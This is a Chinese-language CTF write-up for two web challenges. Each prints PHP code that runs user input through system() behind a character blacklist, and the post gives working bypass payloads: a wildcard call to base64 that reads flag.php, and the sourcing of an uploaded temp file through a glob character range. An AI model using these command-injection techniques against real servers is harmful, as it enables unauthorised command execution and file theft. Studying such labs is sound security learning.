最近在做这系列的题,这两题又学到了新姿势,赶紧记录一下
web55
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了字母,不过通配符?
和数字没有过滤,可以用bin
下的base64
命令(为啥用base64
?因为它含有数字64可以用????64
来匹配,其他命令无法匹配到)
解法1
正常的命令为/bin/base64 flag.php
过滤了字母后用?
匹配payload:c=/???/????64 ????????
base64解密即得到flag
解法2
参考了Firebasky师傅的wp以及p神的文章
在linux shell中,.
可以用当前的shell执行一个文件中的命令,比如.file
就是执行file文件中的命令。所以本题可以post上传一个包含命令的文件,然后通过.
来执行文件中的命令即可读到flag。
但有个问题,怎么去找到我们上传的文件呢?
当我们post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机生成的大小写字母。想当然的我们会用/???/?????????
去匹配这个文件。
这里又会出现一个问题:符合这样的文件有好几个,这样其实匹配不到刚刚上传的文件。
翻阅p神文章可以知道,与正则表达式类似,glob支持利用[0-9]来表示一个范围,所以我们可以用[A-Z]来匹配文件的最后一位,但因为过滤了字母,需要把A改为A的前一位@
,把Z改为Z的后一位[
来匹配大写字母。
那么最终payload为c=. /???/????????[@-[]
这里说下为什么要匹配大写字母,因为其实用/???/?????????
匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母,不过因为是随机生成的大写字母,不一定每次都是大写,可以多试几下。
分析完毕,接下来开始操作
首先需要上传一个文件,这需要构造一个post上传文件的数据包,但这在我的知识盲区。。。所以本菜鸡还是选择用postman来上传文件。
2.php中的内容为
#!/bin/sh
ls
可以看到有flag.php,将文件内容改为
#!/bin/sh
cat flag.php
重新上传
成功拿到flag
web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
在上题的基础上连数字也过滤了,所以不能用解法1的payload,但解法2依然可以